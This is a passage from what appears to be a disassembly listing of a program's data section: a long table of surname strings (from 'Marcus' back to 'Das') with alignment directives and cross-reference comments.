XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 